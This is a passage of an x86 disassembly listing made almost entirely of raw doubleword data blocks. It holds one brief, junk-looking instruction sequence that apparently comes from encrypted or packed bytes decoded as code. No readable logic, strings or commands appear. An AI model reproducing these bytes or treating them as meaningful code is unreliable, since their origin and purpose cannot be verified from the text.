		dd 0A37A20E1h, 13295819h, 28AE19E5h, 5325BB18h,	0F325C277h
		dd 0F077DAB8h, 0FC3A020Dh, 43623127h, 84077955h, 0E098D9Dh
		dd 52BD8B57h, 300988Ah,	9E44BB60h, 8BB8101Dh, 0D29D58D6h
		dd 44B7BF5Bh, 963AB03h,	0BD39B006h, 5645970Ah, 4BFADB50h
		dd 5F30EE0Bh, 4EC0A082h, 0AC46B93Ah, 0CE058C14h, 9659D03h
		dd 252D8BEBh, 12D3C6DBh, 0E32EF780h, 9D3309CEh,	0F5BFC2F5h
		dd 189128B5h, 94DDF783h, 655C31D2h, 9645C240h, 223800E3h
		dd 61E1405Dh, 11011266h, 70DC9192h, 122EB69Bh, 0E0C9F6E8h
		dd 12B1CF15h, 0E1D8464Bh, 915B42E0h, 539D2DD8h,	181559E8h
		dd 0AB944BCDh, 818CD032h, 5BFC5621h, 0A0A9E76Fh, 0BB7EA59h
		dd 2B15B3C6h, 8DC2F274h, 0FF5C6A75h, 6C6BD76Dh,	0F55A9D93h
		dd 962EF103h, 5950FE8Bh, 0F3099E06h, 0E45CCC42h, 3F1746D6h
		dd 10CA924Bh, 81C31BE8h, 47C07BE3h, 0BD24035Fh,	6EA54671h
		dd 0B235BF82h, 94561504h, 36A274B8h, 0D2BB6C57h, 6F0953E8h
		dd 0A8B85AD1h, 8B1F0B00h, 0C49D562Ch, 805F6060h, 0AC613FD4h
		dd 484C89Eh, 815FBB41h,	85A4D82Bh, 40D45195h, 0A525EFB5h
		dd 5C8D1525h, 1746D6FCh, 4CC3FD5Ah, 9163C18Ch, 8261C4A3h
		dd 97F8A1ECh, 443311Ah,	715510B2h, 0DF7F65D3h, 9F3E80A9h
		dd 752529D5h, 55AC01FFh, 7D8501F7h, 0D6B77A1Eh,	5CE38004h
		dd 0E8A9E9C6h, 920E816h, 8736EA7Eh, 26D8AC0h, 61FE6BC5h
		dd 6E8085B8h, 6153435h,	4FEB48h, 0C579B4B8h, 4C8134Dh
		dd 2E5CF9AAh, 0DFA5C20Ch, 0D2007B55h, 0C8C0715Ch, 4769463h
		dd 0E98FD6A1h, 0DD17AF60h, 0D25A76BCh, 3140C185h, 37E459BBh
		dd 4EB1200h, 397C6E8h, 80D777E9h, 2B00CC0Ch, 0A352857Fh
		dd 0CE0DF7h, 50817B2Fh,	0CB0FF5A1h, 0DA7C2800h,	0F4A72B5Bh
		dd 145A00A0h, 8BC93367h, 7A0080D4h, 0B81246F3h,	0A4982Ah
		dd 171D4568h, 0E86D329Bh, 0EFE54901h, 669CC86Bh, 0EE42D4h
		dd 0F78171E4h, 7E28D28Ah, 0E2BCD003h, 900DAE2Ch, 0D3040Eh
		dd 8B818E22h, 6E0B4259h, 7DFE3000h, 9A6458EAh, 0D7170056h
		dd 0E38F234Fh, 0E2001840h, 8B26AB72h, 0C08D67D5h, 1478E025h
		dd 5700844Ah, 82EE8FC0h, 0E1422Eh, 6E1143B9h, 0D586C8C2h
		dd 97297900h, 71265665h, 96DF0325h, 0E36BA5FBh,	0D48DE0C1h
		dd 4507B6ADh, 5C2A8A29h, 5710D3h, 0A2ABD9EAh, 340EE1D6h
		dd 0D94D262Ah, 0C817F52h, 92669F93h, 7BE906ABh,	2E388672h
		dd 1F622h, 4BEA6DAFh, 0CB6AEDE7h, 0EC486778h, 3B890F28h
		dd 0B4401941h, 0A8FAECh, 0ECD12651h, 89832380h,	10A94826h
		dd 872BC600h, 7FB69D7h,	0ADDFD5DAh, 0E0B470EEh,	2600D31Ah
		dd 0ED6D2B72h, 3EE8E24Eh, 0B200B667h, 915F90FCh, 0E318BD5Ch
		dd 0AE715B51h, 93953F36h, 46E8BC00h, 3A964788h,	0F312F5FCh
		dd 960FB97Ah, 0D978782Bh, 0BF550030h, 0D6033ABCh, 5DE07375h
		dd 0D38DF11Eh, 0EACCE380h, 0CA9A04h, 1BB8D489h,	46222B59h
		dd 34291898h, 0EF159FB6h, 0CA6B0053h, 48175A94h, 9D0260FAh
		dd 2281ED75h, 878D8204h, 4E884655h, 9EA7789h, 0C06C0D4Ch
		dd 0CA782F01h, 45C250F2h, 3C057EDDh, 3EE385D0h,	3113C404h
		dd 943C4A4Ah, 4300C46Ch, 2AA8EF1Dh, 8452DD89h, 9E9118D4h
		dd 15165453h, 0EBE99FE6h, 0A1511h, 31C852BBh, 0F9D271h
		dd 6DFE5BF8h, 0DF114FEEh, 49E59800h, 78268625h,	5C5030E2h
		dd 6937AFDDh, 31E1DB28h, 806FCC3Ch, 939935E4h, 515B95Ch
		dd 973BD61Fh, 0A8C0ABC7h, 0D804BAh, 488B90C3h, 0B0143995h
		dd 0EB0EE9B0h, 43CBA792h, 0FF0AF3h, 0EE5CA70h, 0C05812BDh
		dd 3D06C49h, 0C869EC16h, 0D20E064h, 3C11006Dh, 30A5F262h
		dd 2F00D581h, 0ADA70BA6h, 0F0258928h, 75C718A8h, 6AF22F7Fh
		dd 0A0AA0600h, 5D25C131h, 0AE736E8Ch, 3977DF61h, 4C02FCCBh
		dd 529B2000h, 0C7B276E6h, 8D0B007Dh, 0D51BB5E1h, 1AFCF1A0h
		dd 246B6E02h, 48269E2Eh, 139C796h, 5CB2A2D0h, 200C16EEh
		dd 0F10A69C4h, 0B35210DCh, 724B5E00h, 6DE22Ch, 0E157E5C8h
		dd 0FBEC533Ah, 0B80A5806h, 4CFC6E27h, 0A6844ADAh, 7F668834h
		dd 0F94BD10Eh, 5FD47803h, 0D1760EDh, 1D85F26Ah,	35B8BE00h
		dd 0AB222884h, 0B950010Eh, 0BA92DA37h, 413330C1h, 35A7E914h
		dd 51B880ADh, 573BECh, 0E64594B5h, 2503DAAEh, 79212E24h
		dd 3069CA05h, 276D1B9h,	104E276Eh, 548FAA2h, 0F90C55CDh
		dd 1065B58Fh, 0F45C98D5h, 333BF050h, 0D619E389h, 96F93800h
		dd 21C47D1Bh, 0D5500F6h, 4AE96DA3h, 800F8AE6h, 2301AD4Eh
		dd 7E7613CEh, 0F7390477h, 0C07BD782h, 9D68B139h, 9700D7B0h
		dd 6E14B762h, 24BC461Dh, 3C155012h, 1E4AE70Ah, 1D2528A3h
		dd 943EB1Ah, 0ABA0C911h, 0DF26721Fh, 0ADF3CA03h, 0D00ADE37h
		dd 6E3043h, 550379DAh, 10CCED3h, 0E98CCF13h, 0B023B505h
		dd 4DD50A80h, 62EB00E1h, 0D33D3785h, 28FC0B7Ch,	0B8E84400h
		dd 0B7C2D606h, 1E02F4EEh, 83DFD156h, 21EFB129h,	83AEA09Fh
		dd 0B8008B11h, 0A5C9FE01h
		dd 90075E06h, 27380025h, 0E6D6481h, 6100A8ADh, 8E40DA84h
		dd 14A4AE4Bh, 0D7298536h, 51D49C00h, 0DA712BAh,	50C5BF00h
		dd 0A0381168h, 6A6000CCh, 986236E3h, 9077C255h,	238F3Bh
		dd 0B4092BEh, 0DD1309h,	11A3FD9Ch, 0AEF901Bh, 17CD6E50h
		dd 9FD6E500h, 195CA6F2h, 0DED40078h, 252FE9Bh, 1F0050BCh
		dd 0DFF2A1D1h, 0A0FC29h, 0A4075B7Bh, 0D08E2BA2h, 4F84A0Ch
		dd 0E6775476h, 0EE141E4Ch, 72B0FE67h, 315DC519h, 912AE7A0h
		dd 0D0787A09h, 869905A8h, 728F8C8h, 60C370E6h, 6DA5A0C5h
		dd 980134EBh, 12BE5B92h, 3B30DC18h, 0BA59009Dh,	3DDE1C16h
		dd 57059B91h, 0CF0208A4h, 0BBC2E084h, 0C08563A6h, 4E9822Eh
		dd 81E28952h, 8373A4C2h, 870E08B0h, 5C8B2414h, 0E18951C1h
		dd 1252C181h, 0F70C07E9h, 422CF75Ch, 5E742368h,	93C3E3Ch
		dd 4004EC83h, 4FBED6h, 0BD69DB0Dh, 6FCA0FB0h, 5EF52906h
		dd 2A2E8B54h, 0DA2FC481h, 0E5D0563Bh, 0D4734001h, 8478F31h
		dd 8CCE6FE9h, 3E56410Ah, 0C6A8E689h, 63068423h,	8B5C8687h
		db 2, 54h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 870C39ACh
		rcr	byte ptr [esi],	5Ch
		jmp	near ptr 64CB723h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8099DD5Ah, 0D0D70BC3h, 0F5400945h, 71ABFCh, 0EF069AB8h
		dd 0FFC50305h, 0C8CBE000h, 0B00A118Eh, 47230067h, 737A7850h
		dd 223AE6DDh, 0B23D6Fh,	277DA482h, 426A15h, 3F9CC44Ch
		dd 0F5888D1Bh, 0F4346E1Eh, 782D2240h, 0FF4952h,	0D75B505Fh
		dd 364B8F01h, 43684Ch, 0AC1F1EAh, 0B209BEh, 0C5D86B45h
		dd 357BE179h, 0A69A6D04h, 2AEA7873h, 0E9C09EE9h, 0EBC7E413h
		dd 90ED014Eh, 75A3BB66h, 265BDA50h, 6A8F70h, 0BA4F56DEh
		dd 7D5B543Fh, 0D3FC605Ah, 661CB2C0h, 614EC68Bh,	3B6FAFh
		dd 1BAD262Bh, 718FBFEFh, 0BF564AF7h, 0F358C56Fh, 4B09A844h
		dd 838FD1EFh, 0AEB92AC0h, 0EA00A1B8h, 0CB20936Fh, 95E862B4h
		dd 0FE0C7905h, 63E13221h, 4F14B815h, 0F8B856E9h, 74820F27h
		dd 23CDEB1Ah, 7EF8DC42h, 2EB06DE8h, 0EFA5D6ECh,	3E0E3C5h
		dd 6ED14FFFh, 40E900ACh, 0FAD6127Dh, 0BD0309F8h, 0E5570885h
		dd 3B879AF1h, 0BD92930Fh, 4CCB8BBh, 499D23C0h, 4F3132Ch
		dd 30182D00h, 20025E9Ch, 9E2CA072h, 0A3007915h,	0F49F975Dh
		dd 0A2B64FF9h, 5B08D908h, 0D32C9E7Bh, 0BB7095AAh, 0B3333001h
		dd 1EFDBD31h, 1CE2E69h,	0C15A4DCBh, 0F4F8875Eh,	634B97E2h
		dd 0FD14617h, 4E8C0891h, 0D5B9373Fh, 0AA1D1688h, 5B278E81h
		dd 0E24D656Ah, 617207F4h, 409F8711h, 96AA6FCBh,	85D009Ah
		dd 64F3601Ah, 50E261F5h, 794FBF02h, 7E9075BDh, 0AED3A790h
		dd 3DB688DBh, 3AE3FEDFh, 0C2DA23Ch, 4DDCC77Ch, 0A8848114h
		dd 2420FE53h, 2A5896h, 0A2100A1Ah, 40A9F794h, 9F793D28h
		dd 5F6B5509h, 2766585Bh, 0E1E692B7h, 2A022388h,	0BE0029F4h
		dd 131F23A8h, 24DDB8C2h, 89E603Fh, 0F0A0A8Dh, 61025F8Eh
		dd 6DFF6A5Bh, 0CE9AE35Fh, 45D39617h, 0E958881h,	0A033B72Ah
		dd 2F570565h, 76F8152Eh, 64EDD9BDh, 0F913B029h,	11D78101h
		dd 0B07ACC32h, 9E6348C2h, 9F70B8C6h, 0FC3DFE44h, 3CB100A5h
		dd 8D0171E4h, 1A7E974Dh, 1073D65Ah, 15C14F2Eh, 49EE9D2Bh
		dd 206AF888h, 6D85011Ch, 44BE19D3h, 4995836Eh, 0E2E95D89h
		dd 1398BE60h, 89A243FAh, 0A1B4E000h, 0BBC41B24h, 0D3046600h
		dd 0DE21109Fh, 0AF862F43h, 8B2D9652h, 0B214CD8h, 0A5B1417Eh
		dd 0C7A9A3DDh, 0DAC2A5A3h, 1121D4E9h, 0BA966397h, 0E485DAAEh
		dd 8F0F194Fh, 3EF80D01h, 29FC5A84h, 190DE918h, 9800C174h
		dd 92FA3006h, 1B38CA8Ch, 2AE8DDA3h, 85E8585Eh, 0D33D24Fh
		dd 146DA099h, 8B83E4EBh, 278CFB5Ah, 80600957h, 857EBCDEh
		dd 45899E60h, 0A75400EBh, 460E1B86h, 0FC0BAF65h, 516188CAh
		dd 64279136h, 74EBFBBEh, 11A6C214h, 7C73A85Fh, 0ACB53D3Bh
		dd 0B9423110h, 7A14F512h, 5A827920h, 49ADA852h,	0DC5F277Fh
		dd 3517F4FCh, 4EB2C06Ch, 63052900h, 0A1A39C03h,	4A173917h
		dd 18AC4EA9h, 0CFC4BD8Ch, 0F1F0604Eh, 580540B5h, 0CEB9610Bh
		dd 0F4767C10h, 65620B06h, 205A7E03h, 58B51EBDh,	99235A6Ch
		dd 0A8837D42h, 0B3A2439h, 0AB406F3Fh, 0CF6DB88h, 2483F39Dh
		dd 85F52563h, 956FFC4Ah, 0DE0F0973h, 11982EA1h,	1A13A6B0h
		dd 0FABC2F9Eh, 5A3000D2h, 0B830BA33h, 2EDE6BE1h, 0C5E280C5h
		dd 9D850BEEh, 0BA9C5CDEh, 0F6537E25h, 38351A02h, 13800F34h
		dd 3596010h, 9C4E93Eh, 23E32F00h, 6F34B768h, 865002BDh
		dd 6547DCEEh, 0EB83EFD7h, 0AF502C38h, 5EC27112h, 3F06EBAh
		dd 912AC925h, 0EA6BA0C4h, 0C9DE5A8Bh, 0F02D3600h, 24B2B821h
		dd 97610645h, 996B220Bh, 231747F5h, 321258F2h, 71B53998h
		dd 146A32F6h, 0F9B2B975h, 0BAF3FC2Eh, 421929h, 4588E52Eh
		dd 574B1764h, 5B2D3DA8h, 62121E65h, 56EC81F9h, 91A60726h
		dd 0C74EFD12h, 0F8D015B8h, 0CCDB3E8Eh, 9D29E882h, 0BF002EA9h
		dd 4AAE0BF9h, 8F64EA33h, 231DAE05h, 2BE139ACh, 537DC204h
		dd 0D999700Fh, 51CA9D5Ah, 55911B22h, 0BBF2A681h, 40E45BC4h
		dd 0B9A51E31h, 0B2EE568Ch, 92C68E47h, 0EDE88DFDh, 0F9B89050h
		dd 2FA9569Fh, 5F700CDBh, 0CD677A73h, 2B1B22D0h,	81076DE2h
		dd 80EC3A50h, 74D48079h, 0EE922h, 0B62F16C7h, 88DBCAC1h
		dd 857B6B3Ch, 5F17F8BBh, 9B4A58ACh, 22CC80A3h, 5D485A9h
		dd 0F0E1A13Bh, 0A84CD598h, 7637587Ah, 5CD3685Ah, 0A91384DCh
		dd 0AB1CAD4Fh, 98F24CB3h, 0EA30B513h, 1D238B6Fh, 677F5400h
		dd 0BDA42A3h, 4CBA2A78h, 0A13139FDh, 0C0D809DEh, 7602F62Dh
		dd 0EBD34124h, 297C8BA2h, 1629DD85h, 680199D4h,	0FA8E26D6h
		dd 0EC5F5D63h, 6EC093BAh, 0B290DD29h, 8207E4CEh, 9D287877h
		dd 0BB1F1E4Eh, 52161A3Ch, 0C3F234ABh, 0FA8425B2h, 202E1A9Dh
		dd 5A487CDCh, 6A71C700h, 19363440h, 1F07079h, 0A8DBAA92h
		dd 0EEE9BA16h, 0C697BD78h, 0D98B2D1Ch, 62C9B546h, 9F9D5849h
		dd 5E769B89h, 0C6D802F6h, 90D9E24Eh, 0A3001F71h, 358B5E0h
		dd 7E8A00C3h, 7DADB2Ch,	0D8FB493Ah, 604FDFEEh, 0EF0046B2h
		dd 0ED5B6489h, 3E01B516h, 0D68D7E4Dh, 0AC412FC3h, 5F021B35h
		dd 0F7276051h, 42BAD330h, 0E48ECB01h, 6116EF90h, 0BBF1246Ah
		dd 82DC9D9Bh, 43063DA7h, 2985EE2h, 0C0138025h, 0F8F802BCh
		dd 12889C80h, 8F3B5333h, 0A027FF6h, 5F85E282h, 9E8BD13Dh
		dd 78D46553h, 4DA8FDCFh, 0DA132198h, 0C1A60689h, 466EAEE0h
		dd 0D6524512h, 0C8CECCFBh, 53C45012h, 27A7E325h, 5462A8A0h
		dd 9EBB5C04h, 0AB81F51Eh, 256021FBh, 0C8315A99h, 8D2D0937h
		dd 0BB852061h, 5EFC13EDh, 0DB2C133Eh, 59828B5Fh, 0DA8B8027h
		dd 0F398E068h, 0DC52B44Fh, 0FD86700h, 9E5B5331h, 12A8B1E1h
		dd 0DF10AA06h, 2B6B1F0Bh, 0DCCBD44Bh, 0E5357900h, 0D023CB8Dh
		dd 0CD835A7Fh, 11972A56h, 24B76111h, 0B4CBBC6Ah, 1D8281B8h
		dd 9C7D46E2h, 0A23EF970h, 89B3172Ch, 83732ABFh,	0F49D890Bh
		dd 31614191h, 0BD1C25DCh, 0C5A72167h, 311613ADh, 142BC9B1h
		dd 54C2A984h, 7753C21Eh, 0FA46BCCCh, 1B23BFh, 3686E823h
		dd 7C2C2D4Bh, 5E00A311h, 0FFB8BA4h, 2A0C458Ah, 310596F3h
		dd 0EB2E158Dh, 0B83E0C39h, 7BDB5A5Dh, 56B9AF82h, 4B507A49h
		dd 5F0935E0h, 0A9C16C9Bh, 89CF28DCh, 0DF126C60h, 1D85D330h
		dd 6EEA294Bh, 64192953h, 7EC85701h, 0C0CAB5C2h,	82014907h
		dd 2F0D2E40h, 0AFA3E597h, 76006735h, 0EA337B36h, 17CFAA9h
		dd 9FBBC5E1h, 214D3057h, 32DED96h, 0F39B133h, 6A27DD7Ah
		dd 3B00AF6Eh, 975F9F68h, 553DDA71h, 9D238275h, 0D7EA255Dh
		dd 0B517FEEEh, 2CC83011h, 0A6E64DD0h, 8016017h,	6D2C0D41h
		dd 0F2AFEF02h, 0AF355F61h, 99801691h, 0B529BFCBh, 530CD927h
		dd 0A65697ACh, 0A8D70265h, 7514E7ACh, 0BA5A81FBh, 0E8685DABh
		dd 0E3267819h, 0F912373Ah, 51DB9CFAh, 4CC78039h, 0AAC94FDAh
		dd 8FF0FC36h, 920956EBh, 2C96550h, 7314253Ah, 0FF76BE5Ah
		dd 9AFC8854h, 0AC76E4Eh, 0D95FB17Bh, 0DBAFD700h, 14EF33BBh
		dd 0F25155ECh, 5B79FB0Bh, 6C9AA750h, 0FBA4BA9Fh, 2E175125h
		dd 0DBA8F1A2h, 6FEA034Bh, 0D7F100A8h, 0B109B408h, 7815B5FDh
		dd 2AF00340h, 2AD39DE2h, 2B014726h, 565750BCh, 0FFDD207Ah
		dd 690C908Eh, 5A5F7102h, 988D0060h, 0DCEC3FC2h,	845C429Dh
		dd 12BE4AD4h, 0E05EA647h, 278C385Dh, 6D58F668h,	0E9B82FE1h
		dd 50159A1h, 52FAA085h,	0CF9FAF1Dh, 1BE83EC0h, 1225F958h
		dd 408A9A9Ah, 810D199Dh, 80342CF8h, 7BA00166h, 5A980075h
		dd 7CC71FF7h, 270240F3h
dword_5147D4	dd 836E95B5h, 51F3D4EEh, 55F90C0Dh, 826B9950h, 79B01123h
		dd 7CB7BD2Bh, 4B83944Bh, 5E719140h, 8176B208h, 0D88AF9BFh
		dd 0B423A67Eh, 0A20295F6h, 0C6C8CF36h, 0F3BD0ED8h, 32831630h
		dd 3108FD2h, 5B12D9Dh, 2D15C847h, 2A5A7D5Fh, 57EA39Dh
		dd 0A83518CBh, 0CCF858A5h, 0B7B9FC86h, 4B005BFAh, 0E49C7699h
		dd 0EEA394FEh, 0AC0B2DDEh, 0EDAD7647h, 9F214067h, 3D025A9Eh
		dd 48318D9Bh, 7359D0F9h, 347C0150h, 0E95B6725h,	12F17BABh
		dd 0E9C0341Ah, 7B9C3BC1h, 0A76E3107h, 559D530h,	0CDAF1674h
		dd 9C9A3F80h, 9D01F283h, 457D1D8Ah, 90F22525h, 8375BD21h
		dd 690DDF81h, 8AE29284h, 19C0A068h, 0B6F6EF5Bh,	0CB5DAFF0h
		dd 6AB4D30Ch, 4E3574B5h, 4802A225h, 0B04A13DCh,	0C60839C1h
		dd 41C2F209h, 43F8CFD5h, 1E818CD0h, 1252CA7h, 5DF731BFh
		dd 0DB2B6A3Eh, 2201C0D6h, 0C416534Ch, 1630F1CAh, 1CF52805h
		dd 894872EBh, 0AAF24457h, 43CDD7F9h, 0A6F3B869h, 0DB620059h
		dd 31727DE0h, 0BF04D1FFh, 70B1A202h, 0A6A314BCh, 0B7750B87h
		dd 9C1D8023h, 0E8597CB5h, 60056C17h, 73D8DC89h,	0B8E30016h
		dd 0EE097B14h, 3A0BEC9Dh, 0F66CB6C0h, 8850B9Dh,	65C6D5h
		dd 7FBB2B6Fh, 5E219484h, 87F06171h, 0F4E8572h, 0FC3C49A5h
		dd 0CDDCEB93h, 255FFEB3h, 9BF49050h, 0A98D2960h, 0FFBB880Dh
		dd 0F8A6195Fh, 36301BB2h, 8A7C02B0h, 6BAA491h, 0E97DCE58h
		dd 120B479Dh, 0FD9616CAh, 5EAABC3Eh, 94B9B82Fh,	2CA9121Fh
		dd 6F964DECh, 5410B9Bh,	7ECE890Bh, 355FA583h, 80EB2B1Ah
		dd 0AFD17C6Dh, 7D58A828h, 1A5D10C7h, 0D25D34Dh,	0D909BD2Fh
		dd 1A5DE92Bh, 0FFA6418Ah, 0E983122Fh, 122F8E3h,	0E5BB0F7Bh
		dd 2F76F307h, 8DAA8164h, 0C80B4145h, 30FC3A74h,	0D03DE4D3h
		dd 7D013F79h, 593D6004h, 763DFF6Ah, 0AD00C7B8h,	4078B0F2h
		dd 0A17F8F32h, 0CA60DE83h, 0BB0C4A71h, 8F032F6Fh, 74FD90E2h
		dd 2A3F2D89h, 8B52CFCh,	0F58E018Bh, 805100B0h, 0BD5BCECFh
		dd 125EC41h, 43A70E6h, 0BF786E70h, 24D0C31Fh, 0EE09C64Ch
		dd 0D00273A6h, 7C271E4h, 0BC914A5Ch, 0EAEB8012h, 0F051F54Ah
		dd 5B59A42Fh, 0BC319784h, 6660A171h, 0C2FC4BB3h, 0FED95344h
		dd 18EDFA5h, 9041BDE4h,	0FCC82B25h, 0FB0E19Dh, 0B3D18B00h
		dd 7B4FB098h, 0E6F1A922h, 4C443826h, 4E8DD1D0h,	0DBF9FC09h
		dd 0E5311706h, 0C815AC0Dh, 50E98A1Dh, 0E38945A1h, 579108Bh
		dd 9D97FD4Eh, 0A573D6ADh, 0D6C521C6h, 39EB0AE1h, 0F9B7D821h
		dd 210B9497h, 62200D35h, 5F01574Ch, 5EE295A5h, 9347C207h
		dd 7872D3DDh, 3839D97Ah, 0B55E9AC8h, 56B7D544h,	5A02E412h
		dd 752B5985h, 85050C3Ah, 0B99147A9h, 710B99Eh, 0B972C3Ch
		dd 0C9DD4DCBh, 0CC82C45Dh, 0FC671D7Eh, 0A48D093Fh, 0CB40620Ah
		dd 4A2B0EBEh, 0B88CBDC0h, 717F030Eh, 34DAD632h,	0D22B3680h
		dd 0A812C4D6h, 6BD34EB6h, 0B8B43836h, 0C2910405h, 1682F3BEh
		dd 6D1E6AD8h, 0A1F4E9DFh, 2E805301h, 2820F3A8h,	352848D5h
		dd 0EA07139Eh, 1B23026Eh, 0ACDDFF05h, 0E12E81FAh, 80DD285Eh
		dd 195556B4h, 7D8B27DEh, 6613E196h, 17CDE7CDh, 90D74520h
		dd 8BD549AAh, 0B816BE4Bh, 0E57BFEh, 4BBE4AA8h, 4AB88F35h
		dd 16AE82E0h, 0A5A11D75h, 0F141204Dh, 0AEF41AA4h, 3BC4099Bh
		dd 90CD2E31h, 0A5AA9CC0h, 3D774C64h, 0EA311913h, 87692E38h
		dd 30671CE4h, 9EB4575Bh, 0B362C112h, 0F81C56BCh, 0DAFC25B8h
		dd 957A58C9h, 0DED654h,	0DF125C9Dh, 56ED373Eh, 51870F25h
		dd 1E388540h, 0E80BA5Fh, 97FA0ABFh, 0B745A614h,	4E6D0220h
		dd 84DFA31Eh, 7AEB04BFh, 78FA00CFh, 0BB9D3CCAh,	80F2124Eh
		dd 8AA1E218h, 0A73E4557h, 607B041Dh, 0F5B8C0FDh, 0BD095113h
		dd 5B2523E9h, 9BD361C2h, 0B03E5770h, 0EBF633h, 0B144830Ch
		dd 1E987EBBh, 0DEEF1650h, 0B7660997h, 0D3BD8025h, 7BA58BA6h
		dd 8491984Bh, 0DCC20145h, 2604DE64h, 73F67816h,	23F16BBEh
		dd 0A3970119h, 0D2B296F2h, 8316515Fh, 296007B3h, 0AB75E5CAh
		dd 27166021h, 3B5A941Bh, 0EBCC1E02h, 6D5D6A35h,	88C5E05Fh
		dd 0A4E9AA5h, 12200FF8h, 94EE6801h, 50607F0Ch, 0B75B61C8h
		dd 1107255Eh, 79DA1397h, 854502D6h, 4B80D6B8h, 3167D95Dh
		dd 338D51DAh, 4A0900CFh, 0EB1710C5h, 1CAFFCFEh,	0DAFAA8h
		dd 0D29EA75Ch, 8B4BEE0Fh, 0FC92FA20h, 2BF800DFh, 0C0B794E2h
		dd 44E8788Dh, 53AB7527h, 181759DAh, 6D550982h, 0A4042BAFh
		dd 8FF7FB2Dh, 11F59508h, 3E5CFB91h, 281B8510h, 9510EB5Fh
		dd 5B7E19F9h, 9216A9D8h, 0C18060ACh, 91D740C3h,	0F28CEF4Bh
		dd 97E6F480h, 2EFC8C19h, 25A74452h, 0EA5806A2h,	7811E40h
		dd 0D175D0D3h, 0BDD3CF49h, 4D9B806h, 8A46F25h, 3FF6ABDBh
		dd 0A90FED13h, 0B6BFC68h, 12F17D59h, 21645Fh, 103B8546h
		dd 1C6DB04Dh, 0BDCEBA00h, 96FC7B39h, 0E9B213D4h, 5F7AC22Eh
		dd 0D098D355h, 353EDFEFh, 761580EBh, 4DD3BBC0h,	85084BF2h
		dd 0B099E76Eh, 210A3FDh, 41DD92A5h, 84F55716h, 5B0B2D9Dh
		dd 0C9BB4F80h, 68045F1Fh, 0B8538299h, 772398EEh, 4F8C0B09h
		dd 2494D281h, 42047CBh,	0AE858DABh, 9680769Fh, 5EDEE245h
		dd 0CEBB2C16h, 9BE49F0h, 5250D65Bh, 0B2729BD5h,	791AF731h
		dd 5FA18B7Fh, 0EFEE4998h, 19ED4400h, 572F3DC6h,	0F9A0318h
		dd 38DCD926h, 963FEE38h, 3BDB905Fh, 0DA580997h,	49E96DDDh
		dd 20EE86CCh, 0FF1E4806h, 18F63A9Eh, 0A4F4C0BFh, 61715125h
		dd 4ADC6DBCh, 5602BA23h, 0E931B589h, 883E51A5h,	7300EE7Dh
		dd 7214A144h, 9E76C02h,	5FD1D577h, 4A5B4FDDh, 1D2AE06Ch
		dd 110BB67Fh, 0DDE7DC0Eh, 0EA068584h, 516BD739h, 37BCCB2Bh
		dd 6DD47E97h, 85F33B56h, 0DF810FBAh, 4BE007D8h,	0FFB8F884h
		dd 88A9EDA2h, 0D540AADEh, 1A0DA9Ah, 4E5BAF5Ah, 4B5F8C9Dh
		dd 3BD031ACh, 7DC2C380h, 0DE5250DBh, 0E427C23Bh, 253DE582h
		dd 7074457Dh, 290BD573h, 7E1D498Dh, 1846DE83h, 1ADB0B7Eh
		dd 447528B1h, 0BD200CAh, 0D432CF40h, 0F309BA7Eh, 775DCDC9h
		dd 0B59584EEh, 55420013h, 9E4A08ADh, 5D969F26h,	24506427h
		dd 1C17353Ah, 38880B0h,	27B2D233h, 0AD6ED709h, 8290D793h
		dd 965AFB8Bh, 4177DA20h, 3B550568h, 659761C0h, 4412BFE0h
		dd 4AA6298Ch, 0DC30AE22h, 9F6114E6h, 0BF047753h, 0B3612EFAh
		dd 0A0322EFBh, 403DD457h, 0AE40A427h, 0D90F9F7Ch, 219C36F1h
		dd 5F21FFE7h, 0A92CFD3Eh, 2F802669h, 0E39123DAh, 76205D78h
		dd 34D94E92h, 4AA9AC98h, 0CA8206DBh, 847D1021h,	85D0DD84h
		dd 73BFBB52h, 941D4BA1h, 85DCEFA7h, 0A6325E95h,	301BF226h
		dd 2F025B3Eh, 1EBDE525h, 9E61CC5Ah, 0AD24F44Ch,	0A038C4BAh
		dd 9FB72714h, 954ABC4Ch, 0FD4E19BDh, 8C17AC61h,	1C55769Fh
		dd 967A8980h, 186030FEh, 0F053599h, 0F1E276E7h,	0EADCA3A3h
		dd 0D0614097h, 6013960Dh, 9BF2F08Bh, 4754CB07h,	4AD0092Dh
		dd 474949Fh, 0F141BEA0h, 64E6FA8Eh, 0B28DB692h,	9A713015h
		dd 0C7D97E95h, 0D67E0BFDh, 0D5130A72h, 75A7FBACh, 0D09969BFh
		dd 0DFEE4176h, 90946596h, 47E504D4h, 80039A94h,	8814DFEAh
		dd 0C073342Fh, 9F0DABD2h, 1659AF5Bh, 420AF819h,	9D87EEB7h
		dd 2B44946Dh, 41A2A4B8h, 59695EFCh, 46012A0h, 1F0ED5E3h
		dd 0C661C2C4h, 1A7AFAh,	29E37D03h, 9845DE4Bh, 0BDF6758Dh
		dd 6F9A6078h, 0F43F7C9Fh
		dd 81731759h, 0EE422F62h, 0C30C7FCh, 9611B5Fh, 0E9800FFAh
		dd 37429D34h, 3E65DAC1h, 0B7C16642h, 606F5C07h,	0D56FF781h
		dd 7C62232Fh, 1FFFA4B6h, 0B64ABC07h, 7086E0CCh,	83250D85h
		dd 3A44926Fh, 13EFFE9h,	0A4101D92h, 292F9EACh, 7B77FBEFh
		dd 0B36F8CD5h, 0B27DA001h, 81F9B9D8h, 0B798042Eh, 18C2EF21h
		dd 69591A26h, 848AA00h,	0B0DBEE1Fh, 0AFB4999Dh,	0D0002073h
		dd 22550960h, 78961658h, 0A8B25276h, 169CD0E8h,	0BB50C20h
		dd 77D86CDCh, 90E5F349h, 1536E3Fh, 279A807Fh, 0A6521A8Fh
		dd 5BF97E84h, 5C583E2h,	3FC352Dh, 0BF8C7DA2h, 55D39AE0h
		dd 0DF5B5228h, 0D598D84Bh, 0E831448Dh, 924141A0h, 18C82113h
		dd 0F5C544EFh, 5B8AFA71h, 0A0B02956h, 0EF0BB22Ah, 0DDD51D58h
		dd 8342F266h, 9FC38100h, 0FF554665h, 14E6D14Ah,	7191A1E0h
		dd 2AB78C12h, 748910F2h, 80013D5Dh, 97B60D49h, 31973BBh
		dd 6B41B0Eh, 2C7AD6FCh,	2DC3026Ah, 90024FD2h, 0DEE8B4BBh
		dd 1E0E5C78h, 0FCEDAFFAh, 0FCE970C1h, 9BF01C4h,	7931DC8Ah
		dd 0D451982h, 7AE996DFh, 0E0488B1h, 56A81287h, 0C3EF30DDh
		dd 427E7C28h, 0B701977Dh, 5B295335h, 9B2E32F0h,	824A8081h
